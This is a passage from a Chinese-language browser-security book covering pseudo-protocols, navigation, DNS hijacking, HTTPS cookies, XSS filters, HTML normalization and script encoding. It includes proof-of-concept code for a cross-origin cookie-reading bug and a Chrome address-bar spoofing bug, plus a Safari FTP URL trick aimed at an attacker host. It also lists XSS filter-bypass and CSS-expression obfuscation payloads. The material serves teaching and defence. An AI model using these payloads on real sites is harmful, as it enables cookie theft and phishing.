在Chrome、Firefox等浏览器中，使用window.open（）方法打开一个新窗口时，无论第一个参数（strURL）是什么，新开的窗口中的URL都不会立即加载，直到window.open（）函数返回，新开的窗口地址都一直是about：blank。直到当前代码块执行完成时，窗口才会导航到指定的URL上。

而在IE浏览器中，新窗口刚刚创建，window.open（）返回的window对象为null，页面开始加载时，源和传入的strUrl的源一致。

浏览器解析about：blank时，一定会返回一个0字节的，媒体类型是“text/html”、字符编码是UTF-8的空资源。如果about：blank后面跟有请求字符串，例如about：blank？abc，那么它的处理方式将由浏览器决定，大多数浏览器会提示该地址无法访问。

浏览器会对about伪协议进行一次简单URI标准化操作，例如大小写的标准化、百分号编码转换，即about：bl%61nk与about：blank等价（但是这种用法并不推荐）。还有，虽然浏览器能自动将大写的about URI转换为小写，但是如果URI中含有复杂的语法转换，则浏览器将无法正确解析。例如about：bl%41nk，Chrome在一遍简单标准化之后会把它当作about：blAnk，这个地址是未定义的。

浏览器可以决定about URI的行为，它们可以作为浏览器功能、信息展示或是彩蛋等功能存在。例如Firefox、Chrome支持的about：cache，在浏览器访问后会显示当前网络缓存服务中缓存下的数据。而Firefox支持的about：mozilla，访问后则会显示一个来自虚构小说“Mozilla之书”中的一节。如果跟随的是未定义的内容，浏览器可自行决定是否把它当作about：blank展示。理论上，浏览器应当确保各个功能性about显示的内容不被其他页面获取，因为它们当中很可能包含有隐私信息。

2.5.3　javascript/vbscript伪协议

javascript伪协议非常像data伪协议，都可以把一个编码后的脚本放到地址栏上然后执行。javascript伪协议的解析分为两步，首先是从地址栏取出并解码javascript伪协议的脚本部分，然后是在某个页面上下文中执行代码。例如下列代码，当用户单击该超链接时，浏览器会跳转到“javascript：foo（）”这个URI上，然后解析出脚本部分foo（），并在当前页面的环境下执行foo（）函数。

<a href='javascript:foo()'></a>



另外，和data伪协议不同，javascript伪协议在一些浏览器中有不同的表现。通过window.open（）开启javascript：alert（1）时，各浏览器表现如下：





表2-6：javascript伪协议时各浏览器的表现

[image: ]


而对超链接中的javascript伪协议，各浏览器的做法也有不同。

<a href='javascript:alert(1)' target="w">Click Me</a>



上述代码在各个浏览器中运行结果如下：





表2-7：各浏览器中单击超链接中javascript伪协议的表现

[image: ]


正是各个浏览器的差异导致了开发者的混乱，因此也产生了许多漏洞，以下介绍的一例便是伪协议处理逻辑问题导致的漏洞。

2.5.4　伪协议逻辑出错：某浏览器跨任意域脚本注入一例

2015年4月13日，笔者在乌云报告了一例某国产浏览器跨任意域脚本执行的漏洞[image: http://wooyun.org/bugs/wooyun-2010-0107585]

 ，厂商已经在最新版本中加以修复。这个漏洞是一例典型的逻辑问题，漏洞的演示代码如下。


<script> 
function g() { 
    window.open('http://www.baidu.com', 'z'); 
    window.open('javascript:alert(location.href + document.cookie);', 'z'); 
} 
 </script> 
<a href="javascript:g();">CLICK ME</a>



漏洞主要发生在新窗口创建的逻辑上，这段代码尝试两次在同一个窗口中打开URL（窗口名称为“z”）。第一次在新窗口中打开的URL是http://www.baidu.com，由于使用Trident（以下也简称IE内核），新窗口的源是<http， www.baidu.com，80>。第二个打开请求的目标地址是一个javascript伪协议，这个逻辑是2345浏览器自己去做的。此时浏览器没有判断源，直接将javascript代码在新窗口的环境中执行了起来。




而需要注意的一点是，该浏览器自带有弹窗拦截功能，因此不能够直接在一进入页面就使用脚本进行window.open操作。弹窗拦截的绕过有一个较为通用的思路，即需要用户单击一次窗体。因此，我们可以借着锚点的href可以指定javascript伪协议的特性，创建一个指向攻击脚本的锚点，这样在用户单击的时候攻击脚本即可被触发。

[image: ]
图2-25：代码直接在百度的上下文执行了起来，弹出了Cookies



这个漏洞触发的原因分析如下：javascript伪协议在页面中执行时，其上下文确实就应该是当前网页。然而，如果通过window.open向另一个窗口发送javascript的加载请求时，浏览器首先应该做的是检查另一个窗口和当前窗口是否同源，仅仅在同源的情况下才应该将脚本送与另一个窗口，否则无论window.open指定了打开内容关联的窗口是什么，脚本都应该在本窗口执行。如果没有完全遵守这一规则，就会出现这种危险的跨域漏洞。


	
http://wooyun.org/bugs/wooyun-2010-0107585返回







2.6　本章小结

在本章介绍的内容中，我们首先介绍了URL的规范以及各部分可出现的文字，并引出了针对包含Unicode字符的国际域名的讨论。同时，我们也了解到Unicode映射分解（DM）也可以作为一个缩短攻击向量长度的方法。综合利用字形攻击与国际域名中的特殊字符，可以达到以假乱真的钓鱼效果。

另外，我们还介绍了HTTP的请求和响应，以及针对请求和响应的攻击手段，例如CRLF攻击可以向HTTP头注入一段数据，而HTTP 401钓鱼则是利用了浏览器处理响应的特性，给用户弹出迷惑性的消息去钓鱼。

接着，我们还介绍了同源准则和域的定义以及伪协议的规范，最终，我们引入了两个例子综合介绍了一下如果攻击者突破了这些限制最终会造成怎样的危害。


3　探索浏览器的导航过程

3.1　导航开始

浏览器的始祖“网景导航者”（Netscape Navigator）留下了一个常见的词语——导航。网页导航是指浏览器定位到某个资源[image: 互联网、本地文件、附加指令（例如chrome://）、上下文（例如超链接的#）等都可以算作导航。]

 的过程，一次导航过程可以由多种情况发起：用户输入完URL按下回车、网页中的框架开始加载网页、打开一个新窗口、用户单击前进、后退等情况时浏览器都会发起导航。


[image: ]
图3-1：导航和用户操作的关系



在导航发起后，浏览器会执行许多准备动作，并在页面加载完成后将结果展现给用户。这一过程涉及许多不同的状态间的相互转换以及数据的更新，逻辑相当复杂。开发者在制作浏览器时，测试用例也不可能覆盖到过程中所有的点，所以常有“漏网之鱼”出现。接下来，让我们详细介绍这一过程及其安全风险。

3.1.1　浏览器的导航过程

IE和Chrome等浏览器都有着类似的导航过程[image: 本节以访问一个没有外部资源，仅有基本内容的空白页面为例。]

 ，不考虑预加载等内容，当用户在地址栏输完地址按下回车后，标志着导航正式开始。首先，浏览器会进入准备导航的状态。浏览器为要访问的页面初始化环境，通过DNS查询目标服务器的地址并建立连接。


浏览器会开始连接目标并开始下载所请求的网页和网页中的资源。等待接收到目标回应时，浏览器会把内容将传递给HTML解析器开始解析。解析器处理网页并构建DOM树。在这同时，网页中的JavaScript的执行也可能会改变页面的DOM，等待页面全部渲染完成之后才可以被视为能够安全地访问DOM内容。

在这个过程中，浏览器也会做一些安全检查，例如我们接下来会介绍的XSS过滤器，就是在页面展示前对页面做的安全检查。接下来，让我们详细介绍浏览器工作过程中各个步骤可能出现的问题。

3.1.2　DNS请求

Chrome、IE等浏览器都会对用户的访问进行预测和预取，例如Chrome在用户在地址栏输入的时候就会猜测用户想要访问哪个网站。如果Chrome猜测某个网站将被访问的可能性很高，就会提前预取该网站的数据以达到让用户“秒开”网页的效果。无论预测是否命中，导航的最开始，浏览器都会通过DNS服务器发送请求并解析到主机对应的IP地址。

这个过程称作“DNS查找”，它分为下列几步：


	首先，浏览器查找自己的DNS缓存。浏览器会自己缓存一些常用的主机的DNS请求结果，如果浏览器已经事先缓存了对方的地址，就可以省去一次网络请求。

	然后是查找系统缓存。系统中也会缓存有几十个常见主机名的请求结果。如果是Windows操作系统，你可以在cmd中执行“ipconfig/displaydns”查看系统的DNS缓存。

	如果缓存没有命中，浏览器就会发出网络请求，开始解析域名。这可能会经过路由器缓存、ISP DNS缓存，如果缓存均未命中，则最终该请求会进入递归搜索模式并最终获取解析结果。



除了浏览器主动的预取和缓存之外，网页编写者也可以手动使用LINK的“rel='dns-prefetch'、rel='prerender'”属性通知浏览器预取DNS或者页面。

3.1.3　DNS劫持和DNS污染

通常，DNS查询基于UDP且没有任何认证机制，因此DNS查询非常容易被篡改，攻击者可以扮演“中间人”对DNS请求发起攻击，这将使得最终浏览器获取到一个被篡改的DNS结果。

DNS攻击有劫持和污染两类常见的手段。攻击者可以劫持DNS服务器，取得域名的解析记录控制权之后，修改域名的解析结果。这样，受害者请求解析时，得到的结果将是修改后的内容。这在一些地方ISP（Internet Service Provider，网络服务提供商）中较为常见，ISP会劫持某个域名的DNS。这样，用户访问该网站时就会收到一个假的解析结果。浏览器会先跳转到广告网站上，广告网站弹出广告后，再跳到目标网站。例如下图即为某ISP劫持baidu.com首页时弹出的浮层广告。

[image: ]
图3-2：被ISP DNS劫持的baidu.com



而另一类DNS污染则是一种DNS缓存投毒攻击（DNS cache poisoning）。攻击者对运行在UDP 53上的DNS查询进行检测，一旦发现与关键词匹配的请求则立即伪装成目标域名的解析服务器（Name Server），返回虚假结果。

要减轻DNS劫持攻击的可能性，可以优先选用公共的、可信的DNS解析服务器，例如谷歌的8.8.8.8、8.8.4.4。而为了避免DNS污染，则可以借用其他工具加密查询数据，例如DNSCrypt。

3.1.4　导航尚未开始时的状态同步问题

浏览器的用户界面是不可少的。在开发人员制作浏览器界面时，一个较大的挑战是开发者是否能够精确地做到消息同步。接下来，我们以傲游浏览器的一个早期版本为例说明消息同步没有处理好可能会带来的安全问题。

2.5.2中我们提到过，通过window.open（strURL）打开某个URL后，整个导航流程还处于刚要开始的状态，该浏览器将地址栏修改为strURL，但页面的URL实际上是“about：blank”。在第2章中我们了解到，谁创建了about：blank的窗口，谁就有权限修改它的内容。

如果攻击者在别处再次命令这个about：blank的窗口执行一段脚本，或是直接访问该窗口的document对象。改变了DOM内容，window.open即将发起的导航过程就会被打断。该浏览器在这种情况下又不会将地址栏再次同步成about：blank，就形成了页面伪造漏洞。

[image: ]
图3-3：在傲游浏览器中伪造网址[image: http://wooyun.org/bugs/wooyun-2010-031195]





开发者应当确保在窗口确确实实发出全部加载完成（不论正常加载还是访问超时、资源不存在都应一视同仁）的通知之后再去访问窗口属性，并更新用户界面，包括地址栏上显示的内容，这样才能保证页面信息显示的正确性。

3.1.5　实例：针对导航过程发起攻击

Chrome 31中曾被报告过一个网页伪造漏洞[image: https://code.google.com/p/chromium/issues/detail?id=322959]

 ，该漏洞的简化版PoC如下：


<!DOCTYPE html>
<html>
<head>
<script>
        function induceSploit(){
          var poc = window.open('https://www.google.com','_blank');
         window.focus();
         poc.document.write(unescape('fake content'));
         print();
        }
        </script>
</head>
<body>
<a href="#" onclick="induceSploit()">trigger</a>
</body>
</html>



单击超链接触发攻击后，攻击者打开了一个新窗口，该窗口位于导航前状态，它的地址栏是https://www.google.com/，内容是about：blank。




接下来，攻击者向该窗口写入“fake content”，这个动作会打断新窗口的加载流程，理应触发地址栏同步更新为about：blank。但是攻击者随后利用了print（）；函数呼叫出打印页面的窗口，阻塞了脚本的执行和窗口状态的更新。等打印窗口关闭后，当前页面的地址栏却因为超时没能更新成功，便形成了这样一个伪造漏洞。

[image: ]
图3-4：Chrome 31中触发任意网址伪造




	
互联网、本地文件、附加指令（例如chrome://）、上下文（例如超链接的#）等都可以算作导航。返回




	
本节以访问一个没有外部资源，仅有基本内容的空白页面为例。返回
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3.2　建立安全连接

根据用户指定的URL，浏览器将选择合适的方式连接，例如HTTP、HTTPS、FTP等。HTTP使用明文传递，它本身无法验证通信双方的身份，也不能证明传输内容的完整性。因此，在网络上流通的HTTP消息基本可以视作是有可能被窃听、篡改的。

中间人攻击是指攻击者与通信的两端分别建立联系，并作为一个“代理”交换收到的数据，使通信的两端认为他们正私密地、直接地与对方对话，但事实上他们的会话都被攻击者完全控制。

在一些不安全的信道上，如未加密的WiFi接入点中，中间人攻击者可以监听双方的通信内容，并且篡改会话，加入新的内容。

但是有许多场景需要更安全的通信机制，因此，HTTPS应运而生。采用SSL的HTTPS协议是基于HTTP的“增强版”，它提供了创建安全信道、提供加密处理、使用证书来认证服务器的能力。在传输HTTPS报文时，所有内容都是加密的，在通信两端均安全实现时，即使通道被窃听，基本上攻击者也只能知道两端有一个连接，而对通信内容则一无所知。
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图3-5：白帽大会上的绵羊墙展示了被中间人攻击用户的网络流量



3.2.1　HTTPS

HTTP协议和HTTPS协议同属于应用层（OSI模型的最高层），HTTPS并不是应用层的新协议，它只是对工作在加密连接（TLS或SSL）上的常规HTTP协议的称呼。通常HTTP直接和TCP通信，而使用SSL时，则变成先和SSL通信，再由SSL和TCP通信。所以HTTPS本质仍是HTTP，只不过多带了一层SSL。

[image: ]
图3-6：HTTP与HTTPS



HTTPS的信任基于预先安装在浏览器中的第三方机构的证书（这是一些获得认可的企业或组织机构，如VeriSign、Microsoft等），HTTPS默认信任这些机构所信任的网站。浏览器在和网站交互时，通过校验证书，即可确定对方是否是自己预期要访问的服务器。

3.2.2　HTTPS请求中的Cookie

传输时，HTTPS的Cookie有变化吗？既然HTTPS和HTTP底层实现都是一样的，那我们不难得出这个结论——HTTPS和HTTP都会在每次传输时带上Cookie。这个猜测是正确的。只是由于HTTPS的报文加密，所以我们难以偷窥到它传递时附带的Cookie信息。
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图3-7：Fiddler（添加其根证书后）截取到的HTTPS请求



在浏览器的Web页面同源判定中，端口、协议（HTTP/HTTPS）都是要区分的。但是如果HTTP和HTTPS的Cookie也如此区分，那用户从HTTP切换到HTTPS的时候，就又会丢弃许多已经保存的状态。不过还好，这个问题不会发生。[RFC6265]的8.5节指出，Cookie与网页的同源判定不同，它有如下特征：


	Cookies不区分端口；

	Cookies不区分协议，也就是说不仅HTTP、HTTPS可以适用同一个站点上存储的协议，其他协议比如FTP、GOPHER等都可以共享Cookie；

	Cookies并不严格按照path部分提供隔离。



因为Cookies不区分协议，所以不区分端口的特性很好理解。因为这些协议本身就运行在不同端口上。但是同样地，如果攻击者控制了某站点任意一个协议下的页面，那么它就可以读取到这个站点保存的Cookie。

漏洞CVE-2015-1126利用了类似的特性，Safari浏览器的FTP协议解析时对域的判定有误，假如受害者打开ftp：//user%40ftp.attacker.tld%2Fexploit.html%23@apple.com/，这个网址应当指向ftp：//apple.com/，但是实际上Safari加载的是ftp.attacker.tld下的资源。但是随后在判定域的时候，判断到的却是apple.com域，因此浏览器判断该页面可以访问apple.com域下的Cookie。这样，攻击者通过FTP下的文档即可访问到曾经在apple.com下保存的Cookie。

在Cookie中的Secure标记可以让某个Cookie仅能在HTTPS会话中传输，这可以让Cookie变得稍稍安全一些。但是[RFC6265]也同时指出，攻击者可以通过在非HTTP域中设置Cookie来覆盖掉带有Secure标记的Cookie。即便如此，还是建议在传输时加上Secure标记，因为攻击者只能通过覆盖的方式来覆写Cookie，而不能强迫带有Secure标记的Cookie通过HTTP传输。


3.3　响应数据的安全检查——XSS过滤器

XSS（Cross Site Scripting，跨站脚本攻击）是一种脚本注入攻击。一些网站接受用户输入，并将用户输入通过某种方式输出在页面中，如果网站没有做好过滤工作，当攻击者输入一段精心编写的恶意脚本绕过了过滤系统时（例如读取用户的Cookie、伪造一个登录框），这段脚本就会在当前页面中执行起来。也即攻击者通过插入恶意脚本，实现对用户访问网站内容的控制。

XSS攻击可大致分为反射型（Reflected XSS）和存储型（Stored XSS）两大类，前者攻击时，恶意脚本多放置在URL中，这使得浏览器有机会猜测并识别出攻击内容，并阻断这次访问。而存储型的XSS则因为代码已经写入页面之中，浏览器无法区分该内容是出于网站的本意还是攻击者写进去的恶意代码，因此无法过滤。

XSS攻击能成功主要还是依靠网站程序的漏洞，而要让网站管理者消除所有漏洞几乎是不可能的，为了减少XSS攻击给用户造成的损失，浏览器厂商推出了XSS过滤器，以判断代码行为的方式阻断可疑的代码注入攻击，从而保护用户的数据安全。

Chrome和IE浏览器中都引入了原生的XSS，这是防护XSS攻击的一个较为有效的手段。接下来让我们详细介绍一下XSS过滤器的相关内容。

3.3.1　IE XSS Filter的实现原理

从IE8 Beta2开始，微软引入了XSS Filter。IE中的XSS Filter基于正则表达式匹配来过滤用户输入中存在的可能有害的内容。IE的XSS Filter在mshtml.dll中实现，因此规则信息也存放在mshtml.dll中。

使用findstr/C："sc{r}"%WINDIR%\SYSTEM32\mshtml.dll|find"{"命令可找到本机IE支持的所有规则。微软在更新浏览器时，也会根据情况适时更新规则信息。
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图3-8：IE11的XSS Filter使用的正则表达式



findstr的结果中，每一行正则式代表一条规则。IE在判断时会扫描URL，对匹配上正则表达式的URL报警，提示发现XSS攻击并将字符替换为“#”。接下来，让我们看一下IE在判断过程中具体哪些工作。以下介绍的IE XSS Filter工作原理均以IE 11为原型[image: 本节内容隐藏了函数名，带函数名版本请参见http://www.nul.pw/2015/11/18/112.html。]

 。


发起请求且页面有响应时，会触发XSS Filter的扫描过程。在IE读取返回数据前，先XSS Filter会先对HTTP请求数据进行分析。针对文档加载，XSS Filter的处理过程大致描述如下（下载文件、请求资源并不会触发XSS Filter）。

1．首先，浏览器判断浏览器设置中是否启用了XSS过滤功能，如果开启了，继续下一步，否则中止流程；

2．对URL进行解析，判断是否为HTTP/HTTPS协议，如果是HTTP/HTTPS协议，继续下一步，否则中止流程；

3．检查HTTP响应头是否包含X-XSS-Protection字段，如果包含这个字段，则根据值为1或0来准备进行或取消XSS过滤，然后到步骤6。如果没有该字段，则开始验证URL，到步骤4；

4．判断要加载的网站所在的安全域设置是否开启了XSS过滤。如果开启了过滤，到步骤5，如果没有开启，则中止流程；

5．通过Referrer判断这次请求是否是一个跨站请求。如果是，则到步骤6，否则中止流程；

6．这一步浏览器开始正式判断是否存在XSS。这是一个比较复杂的过程，首先，浏览器对可能的XSS进行预检测，如URL中输入的标签是否输出到了文档中，只有通过预检测后，才会开始规则检测，也就是上面我们介绍的正则式匹配，如果匹配，认为有XSS，发出提示并修改输出。

但是，IE的解析只是基于文字意义上的解析，许多并不是脚本的输出由于符合了IE的过滤规则，也会被当作跨站脚本过滤。例如

<TEXTAREA><SCRIPT>alert("userinput")</SCRIPT></TEXTAREA>


被<TEXTAREA>标签对括起来的部分应当是文本节点，浏览器在解析到文本节点时并不会把它当作HTML代码渲染，但是IE依然会将其当作跨站脚本过滤。这导致IE的误报率偏高，例如在搜索引擎中搜索关键字，也可能会被IE警告发现XSS并过滤。
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图3-9：IE的XSS Filter的一次误报



3.3.2　Chrome XSSAuditor的工作原理

Chrome的XSS过滤器称为XSSAuditor[image: XSSAuditor源代码可以在http://dwz.cn/1gvPYr处看到。]

 。类似于IE的XSS Filter，Chrome的XSSAuditor也被整合到了渲染引擎WebKit中，Chrome这么做的原因是因为过滤器可以在脚本执行前拦截它们，而且整合进去之后过滤器可以被任何基于WebKit的浏览器使用。


当网页加载时，XSSAuditor会在页面渲染之前评估用户的输入。它首先检查用户输入是否包含有恶意内容，如果有就拦截。XSSAuditor也会检查用户输入是否会“反射”到正在渲染的页面中，每个HTML页面都有如下5种类型的元素：HTML实体、HTML属性、JavaScript、CSS和URL。因为输出上下文通常有不同的结构和格式，所以XSSAuditor会评估用户输入的上下文是否合法，在遇到非法的内容时将其过滤。

与IE不同的是，Chrome的XSSAuditor并没有使用正则的形式去判断。Chrome的XSS过滤是在词法解析阶段进行的。在解析网页时，HTML代码会被分解成不同的Token（每个Token即一个元素），XSSAuditor会逐一审查Token，将Token中存在的危险属性、字段和URL比较，若URL中也有同样内容，则XSSAuditor会认为这是一次反射型XSS攻击，随后会对该字段进行过滤处理。

以下介绍的Chrome XSSAuditor工作原理均以Chrome 44为原型。例如当解析器解析下列代码时：<iframe src=”x” onerror=”alert（6）”></iframe>，会依次做如下判断：

1．检查开始标签iframe，如果包含属性src、onerror，则认为可能危险，继续检查；

2．如果src不是以javascript：开头，则安全，放行；

3．onerror中包含有脚本，检查这段代码是否同样出现在URL中；

4．如果出现在URL中，认为这个地方有问题，这段代码会被过滤成<iframe src=”x” onerror=”void（0）”></iframe>；如果没有出现在URL中，认为这个地方没有问题，继续；

5．检查中止标签iframe，没有问题，全流程结束。


	
本节内容隐藏了函数名，带函数名版本请参见http://www.nul.pw/2015/11/18/112.html。返回




	
XSSAuditor源代码可以在http://dwz.cn/1gvPYr处看到。返回







3.4　文档的预处理

在导航结束后，浏览器将处理并展示网页，既然HTML称作语言，那么它肯定是遵循一定语法规范的。不过，就像自然语言也可以容许一定的错误存在一样，HTML也能够兼容一些错误的语法。如果编写HTML的人不注意规范，很容易将网页代码写得非常混乱、错误百出。这也被称为“标签汤”（Tag Soup）。这个词语非常形象，就像是一堆标签杂乱地糅合在一起。浏览器解析页面时会纠正不规范的代码，这个过程称为HTML的规范化。

分别打开一个网站的源代码以及按下F12查看DOM树，你可能就会注意到源代码和DOM树的细微区别，在DOM树中可以看到源代码中一些不规范的内容被浏览器自动修正了过来。

3.4.1　浏览器对HTML文档的标准化

那么，什么样的网页才算标准网页呢？通常网页应以<！DOCTYPE>开头，且不应该有任何元素出现在DOCTYPE标记之前。DOCTYPE指定了网页的渲染模式，它的目的是要告诉浏览器应该使用什么样的定义来解析当前页面。如果浏览器正在解析一个缺少DOCTYPE的网站，它可能会以一种十分旧，但是兼容性好方式来渲染当前页面。

在DOCTYPE之后，应有一对<HTML></HTML>指明元素的范围。HTML标签就像是文档的容器。在HTML标签对中，应当有一对<HEAD></HEAD>来组成网页头部，其中包含标题（由TITLE标签对指定）、脚本（由SCRIPT标签对指定）、网页样式（由STYLE标签对指定）。随后是<BODY></BODY>标签对，它用来存放所有可见内容。

以上是网页的“骨架”，网页实现自己的“身体”时，也要注意标准性，例如应当使用已知的元素、明确指定属性范围、有开标签必须有闭合标签。如果开发者没有正确指明，那么浏览器可能就会“凭经验”猜测你的意图了。例如，一个HTML文件可能有如下内容：

<P>First<P>Second


当浏览器的解析器读取这段文字时，浏览器会对没有封闭的标签进行补齐，同时添加上必须拥有的元素。上述代码初步处理之后，会是如下的形式：




<HTML><HEAD><TITLE></TITLE></HEAD><BODY>
<P>First





</P><P>Second





</P></BODY></HTML>


浏览器的解析引擎担任了规范器的角色，你没有写入到文档中的，但在网页中却是必要标签的部分会被加入文档。例如上述例子中HTML、HEAD、TITLE、BODY标签都会自动构造。




同时，尽管你提供的源代码并没有封闭P标签，浏览器遇到第二个P（段落）标签的时候，也会自动地把第一个P标签封闭。需要注意的是，如果<SCRIPT>标签没有封闭，在它被自动补全范围后，浏览器是不会执行之中的脚本的。

还有下面这些常见的错误，也会在浏览器在标准化网页的过程中得到纠正。


	位置混乱的标记：各种标签范围重叠在一起[image: IE7中这样的代码是允许的。]

 ：



<p>partA<em>partB</p></em>


在浏览器修正之后，这段代码会被纠正为下面的形式。




<p>partA<em>partB</em></p>


	无效的结构，元素的使用方法不符合文档类型定义；

	未定义的元素或属性；

	未指定的属性，例如<iframe src><=/iframe>会被标准化为<iframe src></iframe>；

	不正规的封闭标签，例如</br>会被标准化为<br/>；

	不正确的元素嵌套，例如<table>中又嵌套了一个<table>；会被拆分成两个独立的<table>；

	过多的元素嵌套，例如嵌套层数堆叠到一定程度后，浏览器可能不会再解析更深层的嵌套。



这些被浏览器修正的内容都是浏览器自己推测的，在纠正的过程中浏览器很难知道你的本意是什么。所以为了网页显示符合预期，最好还是在开发网页时遵守规范，手动指定所有必备标签以及它们的范围。

3.4.2　设置兼容模式

页面的渲染是浏览器的一个历史遗留问题。我们介绍过，DOCTYPE头用来告诉浏览器应该使用什么标准来处理页面。这对Firefox和Chrome之类的“年轻的”浏览器来说是比较合适的，但是对“年长的”浏览器IE来说，这还不一定能完全起效。

从IE8开始，IE的渲染已经逐渐向标准靠齐了。但是IE6存活的时间实在太长太长了，这导致互联网中还遗留有了许多旧规范的页面，有的页面甚至只支持IE6。于是新版本IE就面临维持与旧版本页面的兼容性的难题。

IE的变通方案是添加了“文档模式”（document type）来让网站告诉浏览器应当如何处理文档。网站站长可以通过在服务器响应HTTP头中添加X-UA-Compatible或是在<META>中指定文档模式告诉浏览器应当模拟哪个版本的IE去渲染当前页面。如<meta http-equiv=”X-UA-Compatible”content=”IE=EmulateIE7”/>代表模拟IE7。


表3-1：文档模式对应的信息
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注：①标准模式下会忽略DOCTYPE，模拟模式下如果DOCTYPE则按照对应的模式展现，否则采用怪异模式渲染。



在绝大多数浏览器中，在JavaScript中访问document.compatMode都能够得到当前页面的渲染模式，在标准模式和接近标准模式中，document.compatMode值为CSS1Compat，在怪异模式中，该值为BackCompat。IE中独有的document.documentMode代表了页面的文档模式。
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图3-10：渲染模式与文档模式在Chrome和IE中的区别



在不少浏览器中，兼容性模式只是用来改变页面渲染模式用的，而在IE中，兼容性模式还可以触发一些特殊的内容，例如可以触发被禁用的VBScript。yuange在2014年发布了“VBS神洞”（CVE-2014-6332），为了让IE11也能执行VBS，yuange在利用代码的最开始加上了X-UA-Compatible标签让IE切换到IE8模式，这时，IE11不支持的VBS又重新变得可用，从而触发漏洞。
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图3-11：CVE-2014-6332的利用代码，将IE切换为了IE8兼容模式



为了避免不断地向下兼容，在Microsoft Edge中是没有兼容性模式的，Edge只支持DOCTYPE声明。


	
IE7中这样的代码是允许的。返回







3.5　处理脚本

当今浏览器中使用最广泛的脚本语言是JavaScript，在IE10以下的版本中也支持VBScript。网页中<SCRIPT>标签、元素事件、CSS表达式、支持JavaScript伪协议的地方均可执行脚本[image: CSS表达式指IE CSS Expression表达式，支持JavaScript伪协议的地方例如锚元素的href属性、audio元素的src属性等。]

 ，脚本的历史悠久，在发展的过程中也遗留了一些“特性”。


早期一些浏览器不支持<SCRIPT>标签，导致<SCRIPT>标签中的内容被当作文本展示在页面内。这当然是一个不好的体验，因此浏览器将本应是浏览器中的HTML注释符号的<！—— ——>用作占位符号。

当浏览器不支持SCRIPT标签时，SCRIPT标签中间的内容会被当作HTML注释，不会被当作文字显示出来。如果浏览器支持SCRIPT标签，SCRIPT内的<！—— ——>会被自动忽略。

虽然当今浏览器都支持SCRIPT标签了，但是浏览器升级过程中要保持向下兼容，所以这对符号一直沿用至今。例如下列代码[image: 少量浏览器无法直接识别尾标签——>，因此为了兼容，尾标签可能需要写作//——>。]

 执行时等同于执行alert（1）；。


<script type="text/javascript">
<！





--
alert（





1）；






-->
</script>


利用这个特性，在某些环境下，可能会产生意想不到的绕过效果。假设如图3-12所示，代码的维护者本意是注掉一段代码，让第一行的script标签与最后一行script标签相连，只执行alert（“This will still run”）；处的代码。但是由于注释符号在script标签中事实上是被忽略的，因此浏览器将仍然会依次执行三条代码。在VBScript中也是如此。




另外，这个特性不仅在<SCRIPT>块内生效，放在JavaScript伪协议中也一样有效，例如在Firefox、Chrome中访问javascript：<--%0Aalert（location.href），浏览器也会正常执行alert（location.href）；。

[image: ]
图3-12：一段被错误注释的代码



[image: ]
图3-13：在超链接的javascript伪协议中使用<！--符号



3.5.1　脚本的编码

普通脚本安全问题大多数是在脚本权限内的滥用。以XSS为例，网站、插件、浏览器没有统一的过滤标准，常见黑名单关键字过滤、字符替换虽然加大了攻击者的攻击难度，但是一些情况下仍然可能会被绕过。

当网站有针对特殊字符做过滤时（例如双引号），可以使用JavaScript脚本来构造合适的绕过代码。

JavaScript中支持转义字符，如\x、\、\u、\U等。这四种编码方式是JavaScript字符串原生支持的编码方式。

\x和\两个编码方式有些像C语言的字符串转义符。\x后可以跟一个十六进制的正整数，\后可以跟一个八进制的正整数。\x和\跟的数字即为所代表的转义字符的ASCII码。数字大小范围为0x00～0xff。

而\u或是\U则应当跟一个范围在0x0000～0xffff之间的四位十六进制数字，不足的位用0补充。数字的含义是对应字符的Unicode数值编码。

除去这四个符号，还有一些特殊的转义符号，例如\n代表换行，\t代表一个缩进符号、\’代表单引号、\\代表斜线（\）等，这和C语言也是一样的。

当这些转义字符出现在字符串中时，脚本会自动将它们对应字符存储在字符串中，不需要做任何额外的操作。

[image: ]
图3-14：转义符号



当网站有针对特殊字符做过滤时（例如双引号），可以使用JavaScript脚本来构造合适的绕过代码。常见的有toString、charAt、fromCharCode等。例如使用String.fromCharcode（0x41）可以获得字符“A”。当fromCharCode被过滤时，可以使用（typeof（1））.toString（）.charAt（0）获得字符“n”[image: typeof(1)返回“number”，charAt(0)为字母“n”。]

 。如果圆括号也被过滤了，还可以使用[typeof 1][0][0]来获得字母“n”，这句话和上面一行代码是等效的。


使用各种内置函数返回字符串时，我们并不容易得到带数字的内容。如果需要使用数字和小数点的话，可以利用JavaScript弱类型的特性，将数字直接用加号连接。例如[typeof{}]+1.2，得到的结果是字符串“object1.2”。

组合完字符串之后，我们就可以利用JavaScript的“constructor”来创建匿名函数了。例如，String含有一个名为sub（）的方法，使用""["sub"]即可获取该方法的引用，接着调用""["sub"]["constructor"]即可获取到一个匿名函数。将要执行的内容传给匿名函数并加上一对括号，代码就会执行起来。例如""["sub"]["constructor"]（"alert（1）"）（）会执行alert（1）。

此外有研究者也给出了许多新的绕过方式，例如window.onerror=alert；throw 1则连中括号也没有了，并且会弹出对话框1。这句代码先定义了窗口遇到错误时的动作，然后使用throw来抛出异常并让浏览器执行alert（1）。

另外，通过将攻击载荷藏在URL的Query String或者Hash String中再用脚本读取并eval或绑定到脚本元素中也是一个较好的绕过方式。

3.5.2　IE的CSS expression的各种编码模式

IE中还支持特殊的CSS expression，它允许用户在CSS中计算某个表达式。这个计算是通过JavaScript来实现的。因为直至CSS 2.1[image: CSS3计算式子的函数为calc()。]

 ，开发者都无法在CSS里面进行算术运算，例如width：100px+3px获取不了103px的宽度。为了消除CSS的局限性，IE 5～7提供了expression（）函数（即所谓的CSS表达式），它赋予了CSS较强的计算和动态能力，expression将会执行其中的函数，并以函数的返回值作为式子的值。expression的用法类似于：


<p style="x：





expression（





alert（





1））





"></p>


任何可以执行脚本的地方都可能会产生额外的攻击向量。expression也不例外。而且，expression“结合”了CSS和Javascript的特性，使得它更难过滤：





	在CSS中属性是不区分大小写的，因此expression也可以改变大小写形式，如ExpReSSiON是允许的；

	CSS中注释符号是/**/，JavaScript中注释符号也是/**/，因此可以在expression表达式的任意位置处插入注释符号，如x：expre/*x*/ssion（a/*x*/=1）；

	CSS是允许实体编码的，因此expression也可以使用&#、&#x的实体编码代替其中一个字符，而且实体编码的数字前可以有0。例如x：&#x000065expression（alert（1））；

	CSS中可以使用\编码，因此expression中也可以这么做。为了避免和后面内容结合产生误解，如此例x：expression\28/**/alert（1）\29，需要在\28后加上注释符号分隔开；另外，IE7上如果\后面的内容不是数字，则\会被忽略[image: 可参考《CSS hack浏览器兼容一览表》]

 。



